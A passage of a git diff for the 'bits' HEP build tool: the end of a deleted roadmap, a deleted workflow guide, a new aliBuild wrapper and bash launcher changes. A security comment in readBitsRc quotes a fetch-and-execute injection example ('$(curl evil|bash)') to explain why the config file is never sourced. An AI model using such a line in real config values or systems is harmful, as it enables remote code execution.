commit -on a trusted runner. Introduce optional SLSA-level 2 provenance attestation: - -- The bits-console pipeline signs each completed tarball with the runner's identity - (a short-lived GitLab CI token or a project-specific signing key). -- `bits build --verify-provenance` checks the signature before using a remote tarball. -- The manifest records the attestation alongside the SHA-256. - -This is particularly important for software deployed to CVMFS and used in physics -analyses: a supply-chain attack on the build infrastructure must be detectable. - -#### M4. Community onboarding wizard - -Reduce time-to-first-build for a new community from days to under two hours. The -`bits init` command (config mode) already writes `bits.rc`; extend it into a guided -setup flow: - -``` -bits setup-community -``` - -This command walks through: selecting a base recipe repository, configuring the remote -store, generating a `ui-config.yaml` template, registering the first GitLab runner, -and performing a smoke-build of a simple package to validate the setup end-to-end. -Output is a filled-in `ui-config.yaml` and a `INSTALL.txt`-style setup log. - -#### M5. Manifest-driven CVMFS deployment verification ✅ IMPLEMENTED - -**CVMFS is the primary binary distribution channel for bits.** Once a package is -built and published to CVMFS via `bits publish`, every authorised user gains -transparent access through the globally distributed SQUID proxy network already -operated by CERN and partner sites. No additional download infrastructure is -needed: CVMFS handles caching, lazy fetching, and integrity verification at scale, -and does so far more efficiently than any purpose-built binary store could for the -O(10⁴)-user CERN audience. - -Introducing a parallel binary cache distribution channel (proxy servers, signed -package registries, P2P stores) would reproduce a subset of CVMFS's capabilities -at significant operational cost with no meaningful benefit for deployments that -already sit inside the CERN network or WLCG. The local tarball store that bits -maintains in `$WORK_DIR` is appropriate for CI pipelines and individual developer -machines, where it avoids recompilation within a single site — not for -cross-institution software distribution. - -**Implementation — `bits verify`.** The `bits verify` subcommand was added in -full. Given a manifest produced at build time and a live CVMFS mount (or local -work directory), it confirms that every installed package matches the recorded -`tarball_sha256`, and that every provider checkout is at the exact `commit` -declared in the manifest. - -```bash -# Verify the live CVMFS environment at /cvmfs/alice.cern.ch matches this manifest -bits verify --from-manifest alice-o2-20260411.json --cvmfs-root /cvmfs/alice.cern.ch - -# Local workDir only, skip provider checks, machine-readable output -bits verify --from-manifest manifest.json --work-dir sw --no-providers --json -``` - -Status values are PASS / FAIL / MISS / SKIP with exit codes 0 / 1 / 2 / 3. -Both human-readable tabular output (with TTY colour support) and a machine-readable -JSON report (`--json`) are supported. Provider commit verification is silently -skipped when the checkout is not present on the executing machine (the common case -on worker nodes). - -This is valuable for: -- physics analyses that must demonstrate reproducibility for a journal submission, -- audit trails required by experiment computing boards, -- catching silent divergence when a CVMFS repository is rolled back or hotpatched. - -Files added / modified: `bits_helpers/verify.py` (new), `bits_helpers/args.py` -(new `verify` subparser), `bitsBuild` (dispatch), `tests/test_verify.py` (27 -tests, all passing), `REFERENCE.md` (§22c). - -#### M6. Personal analysis overlay via S3 tarball cache - -For individual analysts building a small number of packages on top of a shared -experiment stack, the full CVMFS publication pipeline is too heavyweight: ingestion -latency is measured in minutes, write access to the experiment's Stratum-0 is -restricted, and the overhead is disproportionate for a handful of personal packages -that may iterate daily. Yet batch jobs running on WLCG worker nodes need those -packages available before execution, with no build capability on the worker node. - -The solution is a two-layer model: the experiment stack is served from CVMFS as -always, and the personal analysis overlay is distributed through an S3-compatible -object store (CERN EOS via S3 API, MinIO, or any AWS-compatible endpoint) that the -analyst already has write access to. - -**Workflow** - -```bash -# After a local or CI build of the personal analysis packages: -bits push --manifest \ - s3://cern-eos-personal/pbuncic/analysis-v3.json - -# In the WLCG batch job prolog (HTCondor, ARC, DIRAC): -bits fetch s3://cern-eos-personal/pbuncic/analysis-v3.json -# Downloads only the personal overlay tarballs, verifies SHA-256 against the -# manifest, unpacks into the local work directory. -# Packages already present on CVMFS are skipped entirely. - -bits enter MyAnalysis # environment is now complete -``` - -**What gets pushed and fetched** - -The manifest's `outcome` field distinguishes packages that were actually compiled -locally (`built_from_source`) from those that were drawn from CVMFS or the shared -store (`already_installed`, `from_store`). `bits push` uploads only the former — -typically 2–10 tarballs totalling tens to hundreds of MB — together with the -manifest JSON. `bits fetch` downloads and verifies them on the worker node, then -layers them on top of the CVMFS mount using the same environment-variable mechanism -as `bits enter`. - -**Architecture matching is mandatory** - -Binary tarballs are not portable: a package built on `slc9_x86-64` against a -specific GCC and glibc version will not run on `slc9_aarch64` or on a node with a -different OS baseline. The manifest already records `architecture` at the top -level. `bits fetch` must verify that the manifest's architecture string matches the -executing node before unpacking anything, and abort with a clear diagnostic if it -does not: - -``` -ERROR: manifest architecture slc9_x86-64 does not match this node (slc9_aarch64). - Request worker nodes matching the build architecture in your job description. -``` - -The corollary is that job submission must constrain worker node selection to -architectures that match the build. In practice this means adding an architecture -requirement to the batch job description: - -``` -# HTCondor ClassAd -Requirements = (TARGET.OpSysAndVer == "CentOS9") && (TARGET.Arch == "X86_64") - -# DIRAC JDL -SystemConfig = x86_64-slc9-gcc13-opt -``` - -For analysts who need to run on multiple architectures (e.g. `x86-64` for GRID, -`aarch64` for ARM-based opportunistic resources), `bits push` can emit one manifest -and tarball set per architecture if the user has built for multiple targets, and the -job system selects the appropriate manifest via an environment variable or job -parameter. The N3 roadmap item (QEMU cross-compilation) is the enabling technology -for building the `aarch64` overlay on an `x86-64` developer machine. - -**Why this does not compete with CVMFS** - -CVMFS serves the stable, shared, heavily-used experiment stack — software that -thousands of analysts use simultaneously and that justifies the publication -overhead. The S3 overlay serves the fast-moving personal top layer: code that -changes with every analysis iteration and that only a single user or small group -needs. The two coexist naturally because bits already models environments as -layered package trees; no architectural change is required. The S3 bucket is -ephemeral and personal — it is not global distribution infrastructure — and access -control is per-bucket, so analysts can share a bucket URL with collaborators or -batch-system job descriptions without any CVMFS repository permissions. - -**Implementation** - -The tarball store already uses a content-addressed layout on the local filesystem. -Adding an S3 backend is a contained change: a storage driver that reads and writes -`s3://bucket/prefix//`, with the manifest URL passed as a job -parameter. The `tarball_sha256` field already embedded in the manifest provides -end-to-end verification with no additional metadata. - -#### M7. ABI constraint exports (`abi_exports`) - -Borrowed from Conda's `run_exports` concept, this addresses a class of silent runtime -failures that bits currently has no defence against. When a package is built against a -specific version of a library with a non-stable ABI (OpenSSL, Python C API, MPI wire -protocol, ROOT's ABI across major versions), any downstream package built against an -incompatible version will fail at runtime with a hard-to-diagnose symbol or version -mismatch. - -Allow a recipe to declare the ABI constraints it propagates to packages that depend -on it: - -```yaml -package: openssl -version: "3.3.1" -abi_exports: - - openssl>=3.0,<4 -``` - -When package B lists `openssl` in its `requires:`, bits automatically adds -`openssl>=3.0,<4` to B's effective constraint set. A binary tarball for B downloaded -from the store is rejected if the installed OpenSSL does not satisfy the constraint, -rather than loading silently and crashing at runtime. - -This is particularly important for the shared binary store model: pre-built tarballs -are compiled against specific library versions on the build runner and must not be -served to an environment with incompatible versions. ABI exports make this check -automatic and recipe-driven rather than relying on recipe authors to get version pins -right in every downstream recipe. - -The initial target set is small — the five or six packages in the HEP stack that are -genuine ABI pinch-points: OpenSSL, Python (C extension API), ROOT (class dictionary), -the active MPI implementation, and the C++ standard library version baked in by the -compiler toolchain. - -#### M8. Shell-function environment activation (`bits activate`) - -`bits enter` launches a correctly configured subshell; switching environments requires -exiting it. For users who switch frequently between two or more environments — a common -pattern in analysis work — this is workable but friction-heavy. - -Add `bits activate` and `bits deactivate` as shell functions (sourced into the user's -shell, not a subprocess) that modify `PATH`, `LD_LIBRARY_PATH`, and the other -environment variables in place, analogously to `conda activate`. The implementation -sets a `BITS_ACTIVE_ENV` variable so `bits deactivate` knows exactly which variables -to unset or restore. - -```bash -source $(bits shell-init) # once, in .bashrc - -bits activate ROOT/6.32.0 # modifies current shell in place -bits activate Geant4/11.2 # stacks on top -bits deactivate # restores previous state -``` - -For users on Lmod-enabled systems this is already available through the module files -bits produces — `module load ROOT/6.32.0` does exactly this. `bits activate` provides -the same behaviour for users who are not on Lmod systems, without requiring any new -infrastructure beyond a thin shell wrapper around the existing module file generation. - ---- - -### Long term — 18 months and beyond - -These are higher-risk or higher-effort items whose value justifies the investment -given sustained community growth. - -#### L1. Multi-community bits-console with federated stores - -The current bits-console is designed for a single GitLab instance and a single -community (or a small set of communities on the same instance). As adoption grows -beyond CERN, communities will operate independent GitLab instances with independent -binary stores. A federated model allows: - -- A community to declare that it trusts tarballs from another community's store - (e.g. LHCb trusts the LCG store for ROOT, Geant4, and compiler toolchains). -- The local store to serve as a transparent cache in front of upstream stores. -- bits-console to present a unified view of build status across federated communities. - -This requires a trust model (public key infrastructure for store signing) and a -canonical resolution order for federated package lookups. The repository provider -feature is a foundation: a community's `defaults` file can already reference another -community's recipe repository. - -#### L2. Incremental and distributed builds - -Today, each package is an atomic unit: it is either fully cached (tarball present) -or fully rebuilt from source. For packages with very long build times (LLVM, Geant4), -a finer-grained caching model — caching individual build *steps* (configure, compile, -link) rather than the full package — would dramatically reduce iteration time in -development. - -This is architecturally complex because it requires tracking intermediate artefacts -and invalidating them selectively on recipe changes. A pragmatic first step is -**distributed compilation** via `distcc` or `icecc`: the existing `--docker` + -`--makeflow` infrastructure already parallelises across packages; adding compiler -distribution within a package addresses the complementary bottleneck. - -#### L3. Web-based recipe editor and validation - -Lower the barrier to contributing new recipes by providing a browser-based editor -(integrated into bits-console) that: - -- Validates the YAML header syntax as you type. -- Resolves and displays the dependency graph. -- Checks that all `sources:` URLs are reachable and optionally computes their checksums. -- Runs a dry-build (dependency resolution and download only, no compilation) in a - sandboxed CI job triggered from the browser. - -This brings the recipe authoring experience closer to what Spack's `spack create` -and Conda-forge's staged-recipes automation provide, without requiring a local bits -installation. - -#### L4. Constraint-aware defaults profiles - -Extend the defaults profile system to express build constraints that the resolver -can check — not a full SAT solver, but a curated compatibility matrix: - -```yaml -# defaults-run3-analysis.sh -compatible_with: - ROOT: ">=6.30" - Geant4: ">=11.2" - python: ">=3.11" -incompatible_with: - clang: "<16" -``` - -The build would fail fast with a clear diagnostic if the active recipe repository -does not satisfy these constraints, rather than silently building an incompatible -combination and failing at link time or runtime. This covers the most important -practical cases without the full generality (and associated complexity) of Spack's -concretiser. - ---- - -## Summary table - -| ID | Item | Horizon | Impact | Effort | -|----|------|---------|--------|--------| -| N1 | Binary store coverage and promotion | Near | High | Medium | -| N2 | Sandbox as recommended CI default ✅ | Near | High | Low | -| N3 | QEMU cross-compilation ✅ | Near | Medium | Low | -| N4 | `bits doctor --runner` ✅ | Near | Medium | Low | -| N5 | Developer workflow docs + `bits status` ✅ (partial) | Near | High | Low | -| M1 | Version ranges on dependencies | Medium | High | Medium | -| M2 | `prefer_system` standard library | Medium | Medium | Medium | -| M3 | Reproducible build attestation (SLSA L2) | Medium | High | High | -| M4 | Community onboarding wizard | Medium | High | Medium | -| M5 | Manifest-driven CVMFS deployment verification (`bits verify`) ✅ | Medium | High | Low | -| M6 | Personal analysis overlay via S3 tarball cache (`bits push/fetch`) | Medium | High | Medium | -| M7 | ABI constraint exports (`abi_exports`) | Medium | High | Medium | -| M8 | Shell-function activation (`bits activate`) | Medium | Medium | Low | -| L1 | Federated multi-community store | Long | High | Very high | -| L2 | Incremental / distributed builds | Long | Medium | Very high | -| L3 | Web-based recipe editor | Long | Medium | High | -| L4 | Constraint-aware defaults profiles | Long | High | High | - ---- - -## What bits is not trying to become - -To keep focus, it is worth being explicit about scope boundaries: - -- **Not a general-purpose Linux package manager.** System libraries, kernel modules, - and distribution-level packages are not in scope. `prefer_system` is the correct - answer for those. -- **Not a replacement for pip/conda for pure Python environments.** Python packages - that do not require compilation against experiment-specific libraries belong in pip - or Conda. bits recipes for Python components should remain coarse-grained (a single - recipe that installs a coherent set of analysis packages via pip). -- **Not a build *tool*.** bits orchestrates *when* and *in what order* CMake, Meson, - autotools, or other build systems run. It does not replace them. -- **Not a job scheduler.** On HPC clusters, bits builds run as GitLab CI jobs or - interactively. Batch submission to SLURM/PBS is out of scope; the - `--makeflow` integration covers intra-build parallelism. diff --git a/WORKFLOWS.md b/WORKFLOWS.md deleted file mode 100644 index bf3317d0..00000000 --- a/WORKFLOWS.md +++ /dev/null @@ -1,189 +0,0 @@ -# bits Workflow Guide - -This document describes the complete bits development-to-deployment workflow — from a first local build on a developer's workstation through group-wide CI and final publication to CVMFS. - ---- - -## Overview - -![bits development-to-deployment workflow](docs/bits-workflow.svg) - -The diagram above captures the full picture. The key insight is that **a single, shared toolchain connects every developer's laptop to the experiment's CVMFS software repository**. There is no separate "local build system" and "CI build system". Every phase of a package's lifecycle — from the first `./configure` on your workstation to the CVMFS transaction that makes the software available to thousands of grid jobs — runs the same `bits build` command against the same recipes. - -The following sections walk through the workflow phase by phase. - ---- - -## Phase 1 — Local setup from shared recipes - -Everything starts by cloning the community recipe repository and letting bits build the full software stack for your platform: - -```bash -git clone https://github.com/bitsorg/alice.bits.git -cd alice.bits -bits build ROOT # resolves the dependency graph and builds everything -bits enter ROOT/latest # opens a sub-shell with the environment loaded -``` - -Bits resolves the complete dependency graph, downloads sources, and compiles in the right topological order. Because the recipe repository is shared across the whole group, every developer and every CI runner starts from the same definition of "the full stack". There is no per-person or per-machine configuration that can silently diverge. - -Remote binary stores ([§21 of REFERENCE.md](REFERENCE.md#21-remote-binary-store-backends)) mean that pre-built artifacts are downloaded when available and a local build is only triggered for packages that are missing or have changed. The first `bits build` on a fresh workstation typically takes a few minutes for the last few packages and seconds for everything else. - -Multiple recipe repositories can be composed. For example, `alice.bits` builds the ALICE software stack on top of packages from `lcg.bits` (the LHC Computing Grid release stack) and `community.bits` (HEP common libraries). The [repository provider feature](REFERENCE.md#13-repository-provider-feature) lets bits load additional recipe repos dynamically at dependency-resolution time, with no manual configuration required. - ---- - -## Phase 2 — Local development mode - -Suppose you want to modify `mylib`. Clone the source repository next to your recipe checkout: - -```bash -# clone the package source alongside the recipe repo -git clone https://github.com/example/mylib.git - -# now build — bits detects the local checkout automatically -bits build mylib -``` - -**How local mode works.** When `bits build` resolves the dependency graph it scans for directories adjacent to (or below) the recipe checkout that have the same name as a package. If it finds one it treats that directory as the source for that package instead of fetching from the upstream remote. All other packages in the graph continue to be resolved from the upstream recipe repository, so `mylib` is compiled against the exact same versions of ROOT, Geant4, and everything else that CI uses. The local override is transparent: there is no flag to pass, no environment variable to set, and no copy of the recipe to edit. - -``` -alice.bits/ ← recipe repo (bits looks here for recipes) -mylib/ ← local source checkout (bits detects and uses this automatically) -sw/ ← bits workDir (output of all builds) - el9_x86-64/ - ROOT/6.30.00/ - Geant4/11.2.0/ - mylib/local/ ← your build, overrides any upstream version -``` - -Because the build environment — compiler, flags, dependency versions — is identical to CI, a package that builds and passes tests locally will behave the same in CI. **"Works on my machine" is a meaningful guarantee**, not a lucky coincidence. - ---- - -## Phase 3 — Full-stack local testing - -With the local checkout in place you have a full, runnable software stack on your workstation. You can run the experiment software, integration tests, or any interactive workflow: - -```bash -bits build ROOT # rebuilds ROOT with the updated mylib -bits enter ROOT/latest # full stack available in a sub-shell -root -b -q 'myAnalysis.C' # runs against your locally built mylib -``` - -You can also verify that the package builds correctly inside the same Docker image that CI will use, without leaving your workstation: - -```bash -bits build --docker --architecture el9_x86-64 mylib -``` - -This spins up the official builder container, bind-mounts the current directory (including the local `mylib/` checkout), and runs the build inside it. If this succeeds, CI will succeed for the same reason. - ---- - -## Phase 4 — Commit and share - -When local testing passes you push the source changes to the package repository and update the recipe to point at the new commit or tag: - -```bash -# In mylib/ — commit and push the source changes -cd mylib -git commit -am "Fix the covariance matrix initialisation" -git push origin my-fix-branch - -# Back in alice.bits/ — update the recipe tag/commit -cd ../alice.bits -# Edit mylib.sh: update `tag:` or `commit:` field to the new revision -bits doctor mylib # verify the recipe is consistent -git commit -am "mylib: bump to my-fix-branch" -git push -``` - -Opening a merge request on the recipe repository initiates the standard peer-review cycle. Other developers can check out your recipe branch and run `bits build mylib` to reproduce the build themselves before approving. - ---- - -## Phase 5 — CI build and CVMFS publication via bits-console - -Once the recipe MR is merged, publication is driven entirely through **[bits-console](https://bits-console.web.cern.ch)** — a browser-based interface that triggers GitLab CI pipelines on registered build runners. There are no CLI commands to run at this stage: `bits build` and `bits publish` run inside the pipeline, not on your workstation. - -The distinction between a group-wide production build and a personal-area build is **not a command-line flag**. It is determined by your role in the project, enforced server-side by the pipeline based on your GitLab identity, and surfaced in the UI as two separate buttons. - -### Step 1 — Connect to bits-console - -1. Navigate to **[bits-console.web.cern.ch](https://bits-console.web.cern.ch)**. -2. Select your community on the landing page (ALICE, LCG, LHCb, …). Your choice is remembered in the browser. -3. Click **Connect** and paste your GitLab personal access token. - - Scope `read_api` is enough to browse packages and view CVMFS status. - - Scope `api` (Developer access) is required to trigger builds. - -### Step 2 — Browse and trigger a build - -The **Package Browser** lists all packages from the community's configured recipe repos, with current version, build status, and CVMFS publication status. Click any package to open the build modal, then choose a target platform and click one of the two build buttons: - -| Button | Who sees it | Where the result lands | -|--------|-------------|------------------------| -| **Build → Production** | `bits-admin` and `group-admin` only | `cvmfs_prefix` configured in the community profile, e.g. `/cvmfs/sft.cern.ch/lcg/releases/ROOT/6.30/x86_64-el9` | -| **Build → Personal area** | All users (`group-admin` and `group-user`) | `cvmfs_user_prefix//…`, e.g. `/cvmfs/sft.cern.ch/lcg/user/jsmith/ROOT/6.30/x86_64-el9` | - -The pipeline enforces this independently of the UI. Even a manually crafted API call is rejected unless `GITLAB_USER_LOGIN` matches an entry in the `GROUP_ADMINS_` CI variable on the GitLab project. There is no way to publish to the production namespace without the correct role. - -### Production builds (group-admin) - -Clicking **Build → Production** queues a GitLab CI pipeline that: - -1. Runs `bits build --docker` on a registered build runner, with the workDir bind-mounted at the community's `cvmfs_prefix` path inside the container so binaries compile with their final deployment paths embedded. -2. Runs `bits publish --no-relocate` to stream the build to CVMFS. No relocation step is needed because the paths were already correct at compile time. -3. **cvmfs-prepub path** (communities with `publish_pipeline: .gitlab/cvmfs-prepub-publish.yml`): the build host POSTs a tar directly to the `cvmfs-prepub` REST API; the service handles CAS ingestion and the CVMFS gateway transaction. No `bits-ingest` or `bits-cvmfs-publisher` runners are required. -4. **Legacy spool path** (communities with `publish_pipeline: .gitlab/cvmfs-publish.yml`): ingests tarballs via `bits-cvmfs-ingest`, opens a CVMFS transaction, and runs `cvmfs_server publish` on the stratum-0 using dedicated `bits-ingest` and `bits-cvmfs-publisher` runners. - -The result is available experiment-wide on the **production CVMFS namespace** — to all developers' `bits enter` sessions, to batch grid jobs at WLCG sites, and to downstream CI pipelines. Stratum-1 replicas propagate the change automatically. - -### Personal-area builds (group-user) - -Clicking **Build → Personal area** triggers the same pipeline, but the build is published to the user's **personal namespace** on CVMFS: - -``` -cvmfs_user_prefix///// -e.g. /cvmfs/sft.cern.ch/lcg/user/jsmith/ROOT/6.30/x86_64-el9 -``` - -This path is completely independent of the production namespace and of the group stack rebuild cycle. Any user with Developer access can publish packages here without waiting for a group-admin to approve a full stack rebuild. It is the natural path for personal builds, patch testing, and hotfixes that need to be shared with a specific analysis team before a production release. - -### Step 3 — Monitor progress - -The **Builds** tab in bits-console shows a live pipeline list with log streaming. The **CVMFS Status** tab updates once ingestion completes and the stratum-0 transaction is published. - -### End-to-end summary - -``` -Developer workstation bits-console (browser) CVMFS -────────────────────────────────────────────────────────────────────── -git clone Select community → sign in - ↓ edit & test locally Browse packages → open build modal -bits build mylib ↓ - ↓ full-stack verified [Build → Production] production namespace -git push + recipe MR → pipeline runs on CI runner /cvmfs/.../releases/… - ↓ peer review & merge ↓ bits build --docker available to all - [Build → Personal area] personal namespace - → same pipeline, user prefix /cvmfs/.../user//… - Monitor: Builds tab + CVMFS accessible by you / - Status tab your analysis team -``` - -See the [bits-console documentation](repos/bits-console/README.md) for the full role reference, `ui-config.yaml` fields, runner setup, and scheduled build configuration. - ---- - -## Related documentation - -| Topic | Location | -|-------|----------| -| Full command reference (`bits build`, `bits publish`, …) | [REFERENCE.md §16](REFERENCE.md#16-command-line-reference) | -| Docker builds and `--cvmfs-prefix` | [REFERENCE.md §22](REFERENCE.md#22-docker-support) | -| Remote binary store backends (S3, HTTP, rsync) | [REFERENCE.md §21](REFERENCE.md#21-remote-binary-store-backends) | -| Repository provider feature | [REFERENCE.md §13](REFERENCE.md#13-repository-provider-feature) | -| CVMFS publishing pipeline & bits-cvmfs-ingest | [REFERENCE.md §26](REFERENCE.md#26-cvmfs-publishing-pipeline) | -| bits-console web interface | [REFERENCE.md §26](REFERENCE.md#bits-console--web-interface-for-the-gitlab-driven-pipeline) | -| Build manifest and `--from-manifest` replay | [REFERENCE.md §25](REFERENCE.md#25-build-manifest) | -| Writing recipes | [REFERENCE.md §17](REFERENCE.md#17-recipe-format-reference) | diff --git a/aliBuild b/aliBuild deleted file mode 120000 index b60b5a86..00000000 --- a/aliBuild +++ /dev/null @@ -1 +0,0 @@ -bits \ No newline at end of file diff --git a/aliBuild b/aliBuild new file mode 100755 index 00000000..9aa4ea3c --- /dev/null +++ b/aliBuild @@ -0,0 +1,14 @@ +#!/bin/bash +# aliBuild — backward-compatible wrapper around bits. +# +# Reproduces the original aliBuild behaviour and module-listing output +# (e.g. "VO_ALICE@zstd::1.5.7-local1") WITHOUT needing or creating a bits.rc. +# It exports the ALICE settings as environment variables and execs bits: +# BITS_ORGANISATION selects ALICE's registry/provider "home" repo +# BITS_PKG_PREFIX the display prefix shown by `bits q` +# BITS_BRANDING cosmetic program name +# Plain `bits` (no organisation, no prefix) prints native "/". +export BITS_ORGANISATION="${BITS_ORGANISATION:-ALICE}" +export BITS_PKG_PREFIX="${BITS_PKG_PREFIX:-VO_ALICE}" +export BITS_BRANDING="${BITS_BRANDING:-aliBuild}" +exec "$(dirname "$0")/bits" "$@" diff --git a/bits b/bits index 345a45df..7f09b2a6 100755 --- a/bits +++ b/bits @@ -4,6 +4,11 @@ BITSDIR="$(dirname "$0")" ARGV=("$@"); ARGC=$# # ARGC must be a plain integer, not an array +# Optional phase timing for diagnosing slow load/enter: set BITS_TIMING=1 to +# print the wall time of each phase to stderr. Uses bash EPOCHREALTIME (>=5), +# else GNU date; no overhead when unset. +[[ -n "${BITS_TIMING:-}" ]] && _BT_PREV="${EPOCHREALTIME/,/.}" && _BT_PREV="${_BT_PREV:-$(date +%s.%N 2>/dev/null || echo 0)}" + function printHelp() { cat >&2 </ directories under the install tree (the input the + # module-collection loop consumes). + # + # Fast path: when the tree is served from CVMFS, ask its serving catalog via + # the bitsModules helper — one HTTP fetch + a local SQLite query — instead of + # a per-file FUSE walk. The helper exits non-zero (fall-back contract) when + # its single-dedicated-catalog convention does not hold, in which case we use + # the POSIX `find` walk. Off CVMFS we go straight to find (no python spawn). + local dir="$1" real bm + real=$(readlink -f "$dir" 2> /dev/null || echo "$dir") + if [[ "$real" == /cvmfs/* ]]; then + bm=$(command -v bitsModules 2> /dev/null || echo "${BITSDIR}/bitsModules") + if [[ -x "$bm" ]] && "$bm" "$dir" --depth2-dirs 2> /dev/null; then + return 0 + fi + fi + find "$dir" -maxdepth 2 -mindepth 2 2> /dev/null +} + function collectModules() { - if [[ -z "$NO_REFRESH" ]]; then - # Collect all modulefiles in one place. - # Guard against empty variables before any rm -rf to prevent accidental - # deletion of paths like /MODULES/ if WORK_DIR or ARCHITECTURE is unset. - [[ -n "$WORK_DIR" && -n "$ARCHITECTURE" ]] || \ - { printf "${ER}ERROR: WORK_DIR or ARCHITECTURE is empty; cannot refresh modules${EZ}\n" >&2; return 1; } - rm -rf "${WORK_DIR}/MODULES/${ARCHITECTURE}" - mkdir -p "${WORK_DIR}/MODULES/${ARCHITECTURE}/BASE" - cat > "${WORK_DIR}/MODULES/${ARCHITECTURE}/BASE/1.0" <&2 + return 0 + fi + # Guard against empty variables before any rm to prevent accidental deletion + # of paths like /MODULES/ if WORK_DIR or ARCHITECTURE is unset. + [[ -n "$WORK_DIR" && -n "$ARCHITECTURE" ]] || \ + { printf "${ER}ERROR: WORK_DIR or ARCHITECTURE is empty; cannot refresh modules${EZ}\n" >&2; return 1; } + local mroot="${WORK_DIR}/MODULES/${ARCHITECTURE}" + local iroot="${WORK_DIR}/${ARCHITECTURE}" + local stamp="$mroot/.bits_sync_stamp" + mkdir -p "$mroot/BASE" + cat > "$mroot/BASE/1.0" < /dev/null) - else - printf "${EY}WARNING: not updating modulefiles${EZ}\n" >&2 + # Fast skip: the per-package stat/copy walk below is O(N) and, on a slow + # filesystem, dominates load/enter (seconds). If nothing in the install tree + # has changed since the last successful sync, the cache is already current — + # detect that with one shallow `find -newer` (the same cheap traversal as a + # bare find) and return. -maxdepth 2 includes the arch dir and the per-package + # dirs, so package add/remove and version re-symlinks all bump a checked mtime. + if [[ -f "$stamp" ]] && \ + [[ -z "$(find "$iroot" -maxdepth 2 -newer "$stamp" 2> /dev/null | head -1)" ]]; then + return 0 fi + # Incremental sync: copy a modulefile into the cache only when it is missing + # or newer than the cached copy, then drop cache entries whose source has + # vanished. After a build with no module changes this copies nothing. + local PKG PKGVER PKGNAME src dest + while read -r PKG; do + [[ -n "$PKG" ]] || continue + PKGVER=${PKG##*/} + PKGNAME=${PKG%/*}; PKGNAME=${PKGNAME##*/} + src="$PKG/etc/modulefiles/$PKGNAME" + [[ -e "$src" ]] || continue + dest="$mroot/$PKGNAME/$PKGVER" + if [[ ! -e "$dest" || "$src" -nt "$dest" ]]; then + mkdir -p "$mroot/$PKGNAME" + cp "$src" "$dest" + fi + done < <(_listPkgVersions "$iroot") + # Prune cache entries whose source modulefile no longer exists (deleted + # package/version). Walk the (small) cache tree with plain find — no GNU + # -printf, for macOS portability. + local DESTFILE rel pkg ver d + while read -r DESTFILE; do + [[ -n "$DESTFILE" ]] || continue + rel=${DESTFILE#"$mroot/"} + pkg=${rel%/*}; ver=${rel##*/} + [[ "$pkg" == BASE ]] && continue + [[ -e "$iroot/$pkg/$ver/etc/modulefiles/$pkg" ]] || rm -f "$DESTFILE" + done < <(find "$mroot" -mindepth 2 -maxdepth 2 -type f 2> /dev/null) + # Remove now-empty package directories (rmdir only deletes empties; keep BASE). + for d in "$mroot"/*/; do + [[ "$(basename "$d")" == BASE ]] && continue + rmdir "$d" 2> /dev/null || true + done + # Stamp the sync so the next call can fast-skip when nothing changed. + : > "$stamp" 2> /dev/null || true +} + +function listAvailableModules() { + # Emit / for every installed package that ships a modulefile, + # read straight from the install tree (the source of truth) via the same fast + # path collectModules uses. This is what `bits q` lists: it avoids rebuilding + # the MODULES cache (rm -rf + re-cp of every modulefile) and spawning + # `modulecmd avail` just to enumerate — the two costs that make `q` slow on a + # real filesystem. Output is unsorted; callers pipe through sort. + local base="${WORK_DIR}/${ARCHITECTURE}" P pkgver pkgname + [[ -d "$base" ]] || return 0 + while read -r P; do + [[ -n "$P" ]] || continue + pkgver=${P##*/} + pkgname=${P%/*}; pkgname=${pkgname##*/} + [[ -e "$P/etc/modulefiles/$pkgname" ]] && printf '%s/%s\n' "$pkgname" "$pkgver" + done < <(_listPkgVersions "$base") } function normModules() { @@ -156,8 +235,17 @@ function normModules() { } function existModules() { - local MODULE + # A bits module [/] is present iff it exists in the modulefile + # cache: / is a file, a bare a directory. Test that + # directly — instant — instead of spawning `modulecmd avail` (a full-tree + # scan/evaluate) once per requested module, which was the main reason + # load/enter/printenv were notably slower than q. Fall back to modulecmd only + # when the direct lookup misses, so extra MODULEPATH entries and + # default-version aliases still resolve. The `..` guard keeps the fast path + # from matching path-traversal names (modulecmd then rejects them). + local MODULE mroot="${WORK_DIR}/MODULES/${ARCHITECTURE}" for MODULE in "$@"; do + [[ "$MODULE" != *..* && -e "$mroot/$MODULE" ]] && continue $MODULECMD bash -t avail 2>&1 | grep -qFx "$MODULE" || \ { printf "${ER}ERROR: $MODULE was not found${EZ}\n" >&2; return 1; } done @@ -168,82 +256,88 @@ function stripDyld() { [ ! "X$TO_STRIP" = X ] && echo unset $TO_STRIP && echo ';' } +function _bt_mark() { + # Print elapsed wall time since the previous mark (only when BITS_TIMING set). + [[ -n "${BITS_TIMING:-}" ]] || return 0 + local now="${EPOCHREALTIME/,/.}"; now="${now:-$(date +%s.%N 2>/dev/null || echo 0)}" + [[ -n "${_BT_PREV:-}" ]] && \ + awk -v a="$_BT_PREV" -v b="$now" -v l="$1" 'BEGIN{printf "[timing] %-14s %7.3fs\n", l, b-a}' >&2 + _BT_PREV="$now" +} + function readBitsRc() { - # SECURITY: never source the config file or its derived content directly. - # Sourcing key=value pairs allows arbitrary shell-code injection via crafted - # config values (e.g. work_dir = $(curl evil/pwn|bash)). - # Instead, extract each known key individually with awk and assign it to - # the corresponding variable using a whitelist case statement. + # SECURITY: never source the config file (a crafted value like + # work_dir = $(curl evil|bash) would execute). The launcher itself needs only + # the work directory for module operations; every other bits.rc setting + # (config_dir, architecture, defaults, organisation, providers, ...) is read + # by the Python layer in bits_helpers/args.py. Extract work_dir with awk — + # flat "work_dir = value" or a value inside a leading [bits] section both + # work; sw_dir is accepted as a deprecated alias. local cfgfile="$1" [[ -f "$cfgfile" ]] || return 0 - - # Read a single key from a given INI section. awk stays in section mode - # between a [section] header and the next blank line or EOF. Only the first - # occurrence of each key is returned (INI convention). - _rc_get() { - local section="$1" key="$2" - awk -v section="$section" -v key="$key" ' - /^\[/ { in_section = ($0 == "[" section "]") } - in_section && /^[[:space:]]*[^#;]/ { - sub(/^[[:space:]]*/, ""); sub(/[[:space:]]*$/, "") - if (match($0, "^" key "[[:space:]]*=[[:space:]]*")) { - print substr($0, RLENGTH+1) - exit - } - } - ' "$cfgfile" - } - - # Whitelist of recognised keys → shell variable names. - # Only these assignments are ever made; no arbitrary execution is possible. - local val - for mapping in \ - "organisation:organisation" \ - "branding:branding" \ - "search_path:search_path" \ - "repo_dir:repo_dir" \ - "sw_dir:sw_dir" \ - "pkg_prefix:pkg_prefix" - do - local key="${mapping%%:*}" - local var="${mapping##*:}" - val="$(_rc_get "bits" "$key")" - # Also check the organisation-specific section if organisation is known. - if [[ -z "$val" && -n "$organisation" ]]; then - 